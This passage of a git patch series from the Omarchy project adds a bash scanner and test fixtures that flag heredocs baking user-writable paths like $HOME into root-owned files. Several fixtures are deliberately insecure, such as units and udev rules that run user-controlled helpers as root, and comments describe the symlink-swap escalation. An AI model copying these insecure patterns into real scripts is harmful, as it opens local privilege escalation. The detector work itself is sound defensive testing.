write still bakes the -# user's home into a root-owned file. The declaration has to name the expansion. -fixture_flags hop-variable-home-path.sh \ - "an annotation cannot exempt a home path carried one variable hop away" \ - "declares paths=none but the path-shaped expansions are helper" -fixture_flags hop-twice-home-path.sh \ - "an annotation cannot exempt a home path carried two variable hops away" \ - "declares paths=none but the path-shaped expansions are helper" -fixture_flags shadowed-assignment-home-path.sh \ - "a later assignment under \$HOME is judged, not the packaged value it shadowed" \ - "declares paths=none but the path-shaped expansions are target" - -# Routes other than a direct pipe into sudo tee. -fixture_flags route-redirect.sh "flags a plain redirect into /etc" -fixture_flags route-sudo-dd.sh "flags sudo dd of= into a privileged path" -fixture_flags route-variable-path.sh \ - "flags an elevated write whose destination is a variable resolving under /etc" -fixture_flags route-install-hop.sh \ - "flags a scratch file that install(1) later copies into /usr" -fixture_flags route-install-hop-literal.sh \ - "flags a literal scratch file that install(1) later copies into /etc" -fixture_flags route-install-hop-braced.sh \ - "flags a scratch-file hop whose variable uses braces at the privileged copy" -fixture_flags route-install-hop-alias.sh \ - "flags a scratch-file hop carried through an alias variable" -fixture_flags route-continued-pipeline.sh \ - "flags a privileged pipeline command continued after the heredoc terminator" -fixture_flags route-prebody-escaped-pipeline.sh \ - "flags an escaped-line pipeline consumer before the heredoc body" -fixture_flags route-dash-delimiter.sh "flags an indented <<- heredoc" -fixture_flags route-append-redirect.sh "flags an append redirect into /etc" -fixture_flags route-noclobber-redirect.sh \ - "flags a noclobber-override redirect into /etc" -fixture_flags arithmetic-left-shift-before-heredoc.sh \ - "an arithmetic left shift does not swallow a later privileged heredoc" \ - "path-shaped expansions: HOME" -fixture_flags plain-heredoc-indented-pseudo-delimiter.sh \ - "an indented delimiter does not terminate a plain heredoc" \ - "path-shaped expansions: HOME" -fixture_flags nested-parameter-default.sh \ - "a nested parameter default cannot hide a baked home path" \ - "path-shaped expansions are HOME" - -mapfile -t dd_destinations < <(command_destinations \ - 'sudo dd if=/tmp/input bs=4M status=none of=/etc/omarchy/image') -[[ ${dd_destinations[0]:-} == "/etc/omarchy/image" && ${dd_destinations[1]:-} == $'\002elevated' && ${#dd_destinations[@]} == 2 ]] || - fail "dd emits only its of= destination" "$(printf '%q\n' "${dd_destinations[@]:-}")" -pass "dd emits only its of= destination" - -# Negatives. -fixture_passes safe-quoted-delimiter.sh "a quoted delimiter passes" -fixture_passes safe-user-destination.sh \ - "an unquoted heredoc expanding into the user's own ~/.config passes" -fixture_passes safe-no-expansion.sh \ - "a privileged write with no expansion in the body passes" -fixture_passes safe-runtime-expansion.sh \ - "an escaped \\\$VAR left for a root daemon to expand passes" -fixture_passes safe-annotated.sh "a declared, reasoned exemption passes" -fixture_passes safe-annotated-reordered-paths.sh \ - "path declarations compare as sets rather than traversal order" -fixture_passes safe-root-anchored.sh \ - "a path expansion anchored under /etc is truthfully declared paths=none" -fixture_passes safe-herestring.sh "a herestring is not mistaken for a heredoc" From 15f26cbe1bf6a072c9f20063888f0485e8b421fe Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 11:49:54 -0400 Subject: [PATCH 162/336] Remove redundant migration command preflight --- bin/omarchy-upgrade-to-quattro | 4 ---- test/shell.d/upgrade-to-quattro-test.sh | 5 +---- 2 files changed, 1 insertion(+), 8 deletions(-) diff --git a/bin/omarchy-upgrade-to-quattro b/bin/omarchy-upgrade-to-quattro index 2fb9ab7d..596cb457 100755 --- a/bin/omarchy-upgrade-to-quattro +++ b/bin/omarchy-upgrade-to-quattro @@ -1189,10 +1189,6 @@ ensure_sleep_lock_service() { run_post_upgrade_migrations() { local pending_status - if ! PATH="$package_path" command -v omarchy-migrate >/dev/null 2>&1; then - fail "omarchy-migrate is unavailable after installing the Omarchy quattro packages." - fi - log "Running Omarchy migrations" if ! run_as_user_omarchy OMARCHY_UPGRADE_TO_QUATTRO_LIVE=1 omarchy-migrate; then fail "Omarchy migrations did not complete. Fix the error above and rerun the upgrade before rebooting." diff --git a/test/shell.d/upgrade-to-quattro-test.sh b/test/shell.d/upgrade-to-quattro-test.sh index b53eba04..0648409d 100644 --- a/test/shell.d/upgrade-to-quattro-test.sh +++ b/test/shell.d/upgrade-to-quattro-test.sh @@ -105,8 +105,6 @@ function_body() { } migrations_body=$(function_body run_post_upgrade_migrations) -grep -F 'fail "omarchy-migrate is unavailable after installing the Omarchy quattro packages."' <<<"$migrations_body" >/dev/null || - fail "Omarchy 4 upgrade fails when its migration command is unavailable" grep -F 'fail "Omarchy migrations did not complete.' <<<"$migrations_body" >/dev/null || fail "Omarchy 4 upgrade fails when a migration cannot complete" grep -F 'omarchy-migrate --pending' <<<"$migrations_body" >/dev/null || @@ -118,14 +116,13 @@ grep -F 'pending_status != 1' <<<"$migrations_body" >/dev/null || grep -F 'fail "Could not verify that Omarchy migrations completed.' <<<"$migrations_body" >/dev/null || fail "Omarchy 4 upgrade fails when it cannot verify migration state" if grep -F 'return 0' <<<"$migrations_body" >/dev/null || grep -F 'warn ' <<<"$migrations_body" >/dev/null; then - fail "Omarchy 4 upgrade does not continue past missing or failed migrations" + fail "Omarchy 4 upgrade does not continue past failed migrations" fi exercise_post_upgrade_migrations() { local stub_migration_status="$1" stub_pending_status="$2" ( - export package_path="$ROOT/bin:/usr/bin" log() { :; } fail() { exit 1; } run_as_user_omarchy() { From 58c399de30cd77d6df9975d18ddb6c9e2d63cf41 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 11:54:31 -0400 Subject: [PATCH 163/336] Revert "Drop unrelated privileged heredoc scanner" This reverts commit 4c23077f807dc67270683b750955fc47b1e34c29. --- bin/omarchy-dns | 6 + bin/omarchy-provision-owner | 4 +- bin/omarchy-setup-security-fingerprint | 3 + bin/omarchy-upgrade-to-quattro | 8 + bin/omarchy-windows-vm | 4 + .../annotated-paths-none-still-fails.sh | 12 + ...annotated-special-parameter-before-home.sh | 5 + .../arithmetic-left-shift-before-heredoc.sh | 5 + .../privileged-heredoc/hop-twice-home-path.sh | 11 + .../hop-variable-home-path.sh | 13 + .../nested-parameter-default.sh | 6 + ...plain-heredoc-indented-pseudo-delimiter.sh | 5 + .../route-append-redirect.sh | 3 + .../route-continued-pipeline.sh | 4 + .../route-dash-delimiter.sh | 5 + .../route-install-hop-alias.sh | 6 + .../route-install-hop-braced.sh | 5 + .../route-install-hop-literal.sh | 7 + .../privileged-heredoc/route-install-hop.sh | 8 + .../route-noclobber-redirect.sh | 4 + .../route-prebody-escaped-pipeline.sh | 6 + .../privileged-heredoc/route-redirect.sh | 4 + .../privileged-heredoc/route-sudo-dd.sh | 3 + .../privileged-heredoc/route-variable-path.sh | 6 + .../safe-annotated-reordered-paths.sh | 8 + .../privileged-heredoc/safe-annotated.sh | 11 + .../privileged-heredoc/safe-herestring.sh | 7 + .../privileged-heredoc/safe-no-expansion.sh | 3 + .../safe-quoted-delimiter.sh | 7 + .../privileged-heredoc/safe-root-anchored.sh | 11 + .../safe-runtime-expansion.sh | 6 + .../safe-user-destination.sh | 9 + .../shadowed-assignment-home-path.sh | 13 + .../shutdown-unit-home-execstop.sh | 84 ++ .../privileged-heredoc/udev-rule-home-path.sh | 11 + .../privileged-heredoc/wifi-rule-home-path.sh | 9 + test/shell.d/privileged-heredoc-test.sh | 960 ++++++++++++++++++ 37 files changed, 1280 insertions(+), 2 deletions(-) create mode 100644 test/shell.d/fixtures/privileged-heredoc/annotated-paths-none-still-fails.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/arithmetic-left-shift-before-heredoc.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/hop-twice-home-path.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/plain-heredoc-indented-pseudo-delimiter.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-append-redirect.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-continued-pipeline.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-dash-delimiter.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-braced.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-literal.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-noclobber-redirect.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-prebody-escaped-pipeline.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-redirect.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-sudo-dd.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-variable-path.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-annotated.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-runtime-expansion.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/shadowed-assignment-home-path.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/udev-rule-home-path.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh create mode 100755 test/shell.d/privileged-heredoc-test.sh diff --git a/bin/omarchy-dns b/bin/omarchy-dns index 60f60e74..19c6549e 100755 --- a/bin/omarchy-dns +++ b/bin/omarchy-dns @@ -149,6 +149,9 @@ write_networkmanager_dns() { local servers="$1" install -d -m 0755 "$(dirname "$NM_DNS_CONF")" + # omarchy:heredoc-expands paths=none -- $servers is a normalized, single-line + # DNS server list written as data, not a path or command; nothing user-writable + # is resolved or executed from the root-owned drop-in. cat >"$NM_DNS_CONF" </dev/null <"/etc/systemd/system/$unit" <"/etc/systemd/system/$unit" <<'UNIT' [Unit] Description=Drop the first-boot autologin before the next login Before=display-manager.service @@ -797,7 +797,7 @@ ConditionPathExists=/etc/sddm.conf.d/autologin.conf [Service] Type=oneshot ExecStart=/usr/bin/rm -f /etc/sddm.conf.d/autologin.conf -ExecStartPost=/usr/bin/rm -f /etc/systemd/system/graphical.target.wants/$unit /etc/systemd/system/$unit +ExecStartPost=/usr/bin/rm -f /etc/systemd/system/graphical.target.wants/@UNIT@ /etc/systemd/system/@UNIT@ [Install] WantedBy=graphical.target diff --git a/bin/omarchy-setup-security-fingerprint b/bin/omarchy-setup-security-fingerprint index dd4f428f..383aa376 100755 --- a/bin/omarchy-setup-security-fingerprint +++ b/bin/omarchy-setup-security-fingerprint @@ -41,6 +41,9 @@ setup_pam_config() { fi else echo "Creating polkit configuration with fingerprint authentication..." + # omarchy:heredoc-expands paths=none -- $fprintd_gate is the literal PAM + # line defined above, shared with the two sed insertions so the gate cannot + # drift between files. The only path in it is the fixed /usr/bin one. sudo tee /etc/pam.d/polkit-1 >/dev/null </dev/null </dev/null || true) fi [[ -n ${autologin_user:-} ]] || autologin_user="$target_user" + # omarchy:heredoc-expands paths=none -- $autologin_user is a username, read + # back from the root-owned drop-in or falling back to $target_user. Same + # mechanism as the old getty override: a name expands, no path does. cat </dev/null [Autologin] User=$autologin_user @@ -1413,6 +1419,8 @@ EOF fi as_root install -d -m 0755 -o sddm -g sddm /var/lib/sddm 2>/dev/null || as_root install -d -m 0755 /var/lib/sddm + # omarchy:heredoc-expands paths=none -- $target_user is a username, not a + # path; SDDM's state file records who logged in last. cat </dev/null [Last] Session=omarchy.desktop diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index f1582e2d..f672ed7e 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -691,6 +691,10 @@ write_compose_atomically() ( esc_password=${esc_password//\$/\$\$} tmp=$(mktemp "$RUNTIME_DIR/.compose.XXXXXX") || exit 1 + # omarchy:heredoc-expands paths=EXPECTED_STORAGE,EXPECTED_SHARED -- both are + # root-protected anchors derived from the authenticated caller uid and bound + # to source inodes that were opened and validated before this compose is + # written. The remaining expansions are revalidated scalar settings. cat >"$tmp" </dev/null + sudo udevadm trigger --subsystem-match=power_supply 2>/dev/null +fi diff --git a/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh b/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh new file mode 100644 index 00000000..5f4d50a2 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/annotated-special-parameter-before-home.sh @@ -0,0 +1,5 @@ +# omarchy:heredoc-expands paths=none -- the positional argument is a scalar +sudo tee /etc/omarchy/example.conf </etc/omarchy/agent.conf </dev/null +SUBSYSTEM=="power_supply", RUN+="$helper" +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh new file mode 100644 index 00000000..916887c8 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +# One hop between the expansion and the home path it carries. The token in the +# heredoc has no slash and the value never resolves to a literal path, so a scan +# that rescues unresolved values would exempt a unit baking the user's home into +# /etc/systemd/system. +helper="$HOME/.local/share/omarchy/bin/omarchy-agent" + +# omarchy:heredoc-expands paths=none -- helper is just the agent command name +cat </dev/null +[Service] +ExecStart=$helper +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh b/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh new file mode 100644 index 00000000..7cb74bc0 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +# omarchy:heredoc-expands paths=none -- review regression fixture +sudo tee /etc/omarchy/review.conf >/dev/null </etc/omarchy/agent.conf <>/etc/omarchy/agent.conf </dev/null + helper=$HOME/.local/share/omarchy/bin/omarchy-agent + EOF +fi diff --git a/test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh b/test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh new file mode 100644 index 00000000..fbaab243 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/route-install-hop-alias.sh @@ -0,0 +1,6 @@ +tmp=/tmp/omarchy-generated +copy=$tmp +cat >"$tmp" <"$tmp" </tmp/omarchy-review-unit +[Service] +ExecStart=$HOME/.local/bin/payload +EOF +sudo install -m 644 /tmp/omarchy-review-unit /etc/systemd/system/review.service diff --git a/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh b/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh new file mode 100644 index 00000000..f3894ff4 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh @@ -0,0 +1,8 @@ +tmp=$(mktemp) + +cat >"$tmp" <|` is a plain redirect with noclobber overridden, not a redirect into a pipe. +cat >|/etc/omarchy/agent.conf </etc/omarchy/agent.conf </dev/null +[Service] +ExecStart=$OMARCHY_PATH/bin/omarchy-agent +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh b/test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh new file mode 100644 index 00000000..b003ca58 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-annotated-reordered-paths.sh @@ -0,0 +1,8 @@ +storage="$HOME/storage" +shared="$HOME/shared" + +# omarchy:heredoc-expands paths=shared,storage -- both sources are validated before use +cat >/etc/omarchy/mounts.conf </dev/null +servers=$servers +EOF + +# omarchy:heredoc-expands paths=storage -- validated by valid_path and symlink-checked before use +cat </dev/null +source=$storage:/storage +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh b/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh new file mode 100644 index 00000000..41e6355e --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh @@ -0,0 +1,7 @@ +resolved="RemoteCommand none" + +grep -qvi '^remotecommand none$' <<<"$resolved" || true + +sudo tee /etc/omarchy/plain.conf >/dev/null <<'EOF' +ok=1 +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh b/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh new file mode 100644 index 00000000..d79fa9e4 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh @@ -0,0 +1,3 @@ +cat </dev/null +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/omarchy-powerprofiles-set" +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh b/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh new file mode 100644 index 00000000..a62c627a --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh @@ -0,0 +1,7 @@ +cat <<'EOF' | sudo tee /etc/udev/rules.d/99-omarchy.rules >/dev/null +SUBSYSTEM=="power_supply", RUN+="/usr/bin/omarchy-powerprofiles-set $HOME" +EOF + +cat <<"XML" | sudo tee /etc/omarchy/agent.xml >/dev/null + +XML diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh b/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh new file mode 100644 index 00000000..92c6c076 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh @@ -0,0 +1,11 @@ +unit=omarchy-agent.service + +# "/etc/systemd/system/$unit" is a path, but one anchored where root already +# owns everything, so paths=none is the truthful declaration -- the check must +# not demand paths=unit here. +# omarchy:heredoc-expands paths=none -- $unit is a unit name interpolated only into absolute /etc paths +cat >"/etc/systemd/system/$unit" </dev/null +[Service] +Environment=TERM=\$TERM +ExecStart=-/usr/bin/agetty --noclear %I \$TERM +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh b/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh new file mode 100644 index 00000000..78a47bf7 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh @@ -0,0 +1,9 @@ +mkdir -p ~/.config/omarchy + +cat >~/.config/omarchy/agent.conf <"$HOME/.local/bin/omarchy-shim" </dev/null +[Service] +ExecStart=$target +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh b/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh new file mode 100644 index 00000000..54b21414 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh @@ -0,0 +1,84 @@ +#!/bin/bash + +# Install Plymouth package +echo "Installing Plymouth..." +yay -S --noconfirm --needed plymouth + +# Skip if plymouth already exists for some reason +if ! grep -q "plymouth" /etc/mkinitcpio.conf; then + # Backup original mkinitcpio.conf just in case + backup_timestamp=$(date +"%Y%m%d%H%M%S") + sudo cp /etc/mkinitcpio.conf "/etc/mkinitcpio.conf.bak.${backup_timestamp}" + + # Add plymouth to HOOKS array. Should be added: + # - After 'base' and 'udev' (or 'systemd' if using systemd hook) + # - Before 'encrypt' or 'sd-encrypt' if present + + # Use sed to add plymouth in-place + if grep -q "systemd" /etc/mkinitcpio.conf; then + # Add after systemd + sudo sed -i '/^HOOKS=/s/systemd/systemd plymouth/' /etc/mkinitcpio.conf + elif grep -q "udev" /etc/mkinitcpio.conf; then + # Add after udev + sudo sed -i '/^HOOKS=/s/udev/udev plymouth/' /etc/mkinitcpio.conf + else + # Fallback: add after base + sudo sed -i '/^HOOKS=/s/base/base plymouth/' /etc/mkinitcpio.conf + fi +fi + +# Regenerate initramfs +sudo mkinitcpio -P + +# Add kernel parameters for Plymouth (systemd-boot only) +if [ -d "/boot/loader/entries" ]; then + echo "Detected systemd-boot" + + for entry in /boot/loader/entries/*.conf; do + if [ -f "$entry" ]; then + # Skip fallback entries + if [[ "$(basename "$entry")" == *"fallback"* ]]; then + echo "Skipped: $(basename "$entry") (fallback entry)" + continue + fi + + # Skip if splash it already present for some reason + if ! grep -q "splash" "$entry"; then + sudo sed -i '/^options/ s/$/ splash quiet/' "$entry" + else + echo "Skipped: $(basename "$entry") (splash already present)" + fi + fi + done +else + echo "" + echo "systemd-boot not detected. Please manually add these kernel parameters:" + echo " - splash (to see the graphical splash screen)" + echo " - quiet (for silent boot)" + echo "" +fi + +# Touch .plymouth-sync-needed to signal rebuild on shutdown / reboot +touch "$HOME/.config/omarchy/.plymouth-sync-needed" + +# Create the systemd service +sudo tee /etc/systemd/system/omarchy-plymouth-shutdown.service >/dev/null </dev/null + sudo udevadm trigger --subsystem-match=power_supply 2>/dev/null +fi diff --git a/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh new file mode 100644 index 00000000..08b8d49b --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh @@ -0,0 +1,9 @@ +if omarchy-battery-present; then + cat </.local/share/omarchy/bin/..., and ~/.local/share/omarchy is a +# symlink that same user owns. Replacing the symlink and provoking a +# power_supply event gets their code run by udev as root. Quote the delimiter +# and the rule names a literal $HOME instead, which udev never expands, so +# there is nothing to aim at. +# +# The distinction that matters throughout: install-time expansion bakes a +# literal, user-controlled value into a file root later reads or executes -- +# that is the bug. Runtime expansion (an escaped \$VAR left literal in the file +# for a root daemon that does not have the variable set) is a different +# mechanism and is not flagged. install/3-config.sh once used both in one +# heredoc on purpose: $USER expanded at install time because it is a username, +# while \$TERM stayed escaped for systemd to expand later. + +# A file under one of these is owned by root, so its content is a root-level +# input no unprivileged user should be able to influence. +PRIVILEGED_PREFIXES=(/etc /usr /opt /srv /boot /var/lib) + +# Path roots the installing user can replace outright -- by editing the +# directory, or by swapping a symlink like ~/.local/share/omarchy. An expansion +# anchored in one of these is the shape this check exists to catch. +USER_WRITABLE_VARS=(HOME PWD OLDPWD TMPDIR OMARCHY_PATH OMARCHY_INSTALL + XDG_CONFIG_HOME XDG_DATA_HOME XDG_CACHE_HOME XDG_STATE_HOME XDG_RUNTIME_DIR) + +# Commands that carry a heredoc's output to its destination, and the ones that +# do it as root. `tee` counts unelevated too: several bin/ commands re-exec +# themselves as root and then tee straight into /etc. +WRITE_COMMANDS=(tee dd install cp mv) +ELEVATORS=(sudo as_root pkexec doas run0) + +# A dollar the installing user's shell would act on: $name, ${name}, $1, or $(cmd). +# Kept in a variable because an unquoted `(` inside a bracket expression is a +# syntax error in [[ =~ ]]. +EXPANSION_RE='\$[A-Za-z_{(0-9@*#?$!-]' + +# One pattern for every expansion form, shared by masking and name extraction +# so the two stay in lockstep. +EXPANSION_SCAN_RE='^([^$]*)\$(\{[^}]*\}|\([^)]*\)|[A-Za-z_][A-Za-z0-9_]*(\[[^]]*\])?|[0-9@*#?$!-])(.*)$' + +# Stand-in name for a command substitution, which has no variable to report. +COMMAND_SUBSTITUTION="command-substitution" + +# Sites that legitimately need install-time expansion declare it in a comment +# immediately above the heredoc: +# +# # omarchy:heredoc-expands paths=none -- $servers is a validated IP list +# # omarchy:heredoc-expands paths=storage,shared -- checked by valid_path +# +# `paths=` is the machine-checked half, and is what keeps this from being a +# rubber stamp: it must name exactly the expansions that are path-shaped, so +# adding a "$HOME/..." to an already-annotated heredoc makes the declaration +# false and trips the check again instead of inheriting the old exemption. The +# reason after `--` is for the reviewer. +ANNOTATION_RE='^[[:space:]]*#[[:space:]]*omarchy:heredoc-expands[[:space:]]+paths=([A-Za-z_][A-Za-z0-9_-]*(,[A-Za-z_][A-Za-z0-9_-]*)*|none)[[:space:]]+--[[:space:]]+([^[:space:]].*)$' + +FINDINGS=() + +starts_with_privileged_prefix() { + local candidate="$1" prefix + + for prefix in "${PRIVILEGED_PREFIXES[@]}"; do + [[ $candidate == "$prefix"/* ]] && return 0 + done + + return 1 +} + +in_list() { + local needle="$1" item + shift + + for item in "$@"; do + [[ $needle == "$item" ]] && return 0 + done + + return 1 +} + +# Drop escaped dollars, backticks and backslashes so what is left is only what +# the installing user's shell would actually expand. Escaped backslashes go +# first, otherwise "\\$TERM" would read as an escaped dollar. +strip_escapes() { + local text="$1" + + text=${text//\\\\/} + text=${text//\\$/} + text=${text//\\\`/} + + printf '%s' "$text" +} + +# Replace every expansion in TEXT with \001 and list the variable names in +# order: the masked text first, then one name per line. +# +# Masking whole lines rather than whitespace-split words is what makes +# "DNS=${dns_servers//,/ }" readable. Those slashes belong to the substitution +# operator, not to a path, and the space inside the braces would otherwise +# split the expansion across two words and leave a bare "//,/" looking like a +# path. Because both halves come from one pass over one pattern, the Nth \001 +# is the Nth name, so a token can be judged against the right variable. +mask_and_names() { + local text="$1" masked="" body inner tail name guard=0 nested_masked + local -a names=() nested_scan=() nested_names=() + + # Normalize backtick substitution into $( ) so one pattern covers both. + while ((guard++ < 64)) && [[ $text =~ ^([^\`]*)\`([^\`]*)\`(.*)$ ]]; do + body=${BASH_REMATCH[2]//[()]/} + text="${BASH_REMATCH[1]}\$($body)${BASH_REMATCH[3]}" + done + + guard=0 + while ((guard++ < 128)) && [[ $text =~ $EXPANSION_SCAN_RE ]]; do + masked+="${BASH_REMATCH[1]}"$'\001' + body=${BASH_REMATCH[2]} + text=${BASH_REMATCH[4]} + nested_masked="" + nested_names=() + + if [[ $body == \(* ]]; then + name=$COMMAND_SUBSTITUTION + elif [[ $body == \{* ]]; then + inner=${body:1:${#body}-2} + # ${name}, ${name:-default}, ${name//a/b}, ${#name}, ${!name} all start + # with the name once the decorations are stripped. + inner=${inner#[\#!]} + if [[ $inner =~ ^([A-Za-z_][A-Za-z0-9_]*) ]]; then + name=${BASH_REMATCH[1]} + tail=${inner#"$name"} + elif [[ $inner =~ ^[0-9@*#?$!-] ]]; then + name="shell-parameter" + tail=${inner:1} + else + name=$COMMAND_SUBSTITUTION + tail=$inner + fi + + # The shell expands the operator payload too. Keep it as a synthetic + # adjacent token so its placeholders stay aligned with their names while + # the outer expansion remains independently classifiable. Without this, + # ${target:-$HOME/path} is consumed as only `target` and hides HOME. + if [[ $tail =~ $EXPANSION_RE || $tail == *'`'* ]]; then + mapfile -t nested_scan < <(mask_and_names "$tail") + nested_masked=${nested_scan[0]} + nested_names=("${nested_scan[@]:1}") + fi + else + name=${body%%\[*} + [[ $name =~ ^[A-Za-z_] ]] || name="shell-parameter" + fi + + names+=("$name") + if ((${#nested_names[@]} > 0)); then + masked+=" $nested_masked" + names+=("${nested_names[@]}") + fi + done + + printf '%s\n' "$masked$text" + if ((${#names[@]} > 0)); then + printf '%s\n' "${names[@]}" + fi +} + +declare -A VARS=() +declare -A VARS_TAINTED=() + +# Literal assignments in the file under scan, so a destination written as +# "$DROP_IN" or "$COMPOSE_FILE" can be judged as the path it actually is. +# First assignment wins: these scripts set a constant once, and an append like +# boot_params+=(...) is not an assignment this reads at all. +# +# VARS_TAINTED records, separately, any name that is assigned a value naming a +# root the user can replace -- at any point in the file, not just the assignment +# that won. That is what stops a name being introduced with a harmless packaged +# value and then reassigned under $HOME, which judging one assignment in +# isolation would miss in whichever direction it picked. +collect_vars() { + local -n source_lines="$1" + local line name value append + + VARS=() + VARS_TAINTED=() + for line in "${source_lines[@]}"; do + [[ $line =~ ^[[:space:]]*# ]] && continue + [[ $line =~ ^[[:space:]]*(local|declare|export|readonly|typeset)?[[:space:]]*([A-Za-z_][A-Za-z0-9_]*)(\+?)=(.*)$ ]] || continue + + name=${BASH_REMATCH[2]} + append=${BASH_REMATCH[3]} + value=${BASH_REMATCH[4]} + value=${value%%[[:space:]]#*} + value=${value%[[:space:]]} + if [[ $value == \"*\" || $value == \'*\' ]]; then + value=${value:1:${#value}-2} + fi + + mentions_user_writable_root "$value" && VARS_TAINTED["$name"]=1 + + # An append never wins the value -- an array grown across a file resolves to + # nothing useful -- but it does carry the taint, or a name could reach a user + # root through += and never be judged on it. + [[ -n $append ]] && continue + [[ -v VARS[$name] ]] || VARS["$name"]=$value + done +} + +# Expand what can be expanded from the file's own assignments. ${NAME:-default} +# falls back to the default, which is how RUNTIME_DIR reaches +# /var/lib/omarchy/windows; mktemp is unwrapped to the template it is handed, so +# a scratch file inside a privileged directory still reads as privileged. +resolve_value() { + local value="$1" outer=0 inner before name default replacement + + while ((outer++ < 8)); do + before=$value + + inner=0 + while ((inner++ < 32)) && [[ $value =~ \$\{([A-Za-z_][A-Za-z0-9_]*):?-([^}]*)\} ]]; do + name=${BASH_REMATCH[1]} + default=${BASH_REMATCH[2]} + if [[ -v VARS[$name] && ${VARS[$name]} != *"\$$name"* ]]; then + replacement=${VARS[$name]} + else + replacement=$default + fi + value=${value/"${BASH_REMATCH[0]}"/$replacement} + done + + inner=0 + while ((inner++ < 32)) && [[ $value =~ \$\{([A-Za-z_][A-Za-z0-9_]*)\}|\$([A-Za-z_][A-Za-z0-9_]*) ]]; do + name=${BASH_REMATCH[1]} + [[ -n $name ]] || name=${BASH_REMATCH[2]} + [[ -v VARS[$name] && ${VARS[$name]} != *"\$$name"* ]] || break + value=${value/"${BASH_REMATCH[0]}"/${VARS[$name]}} + done + + if [[ $value =~ 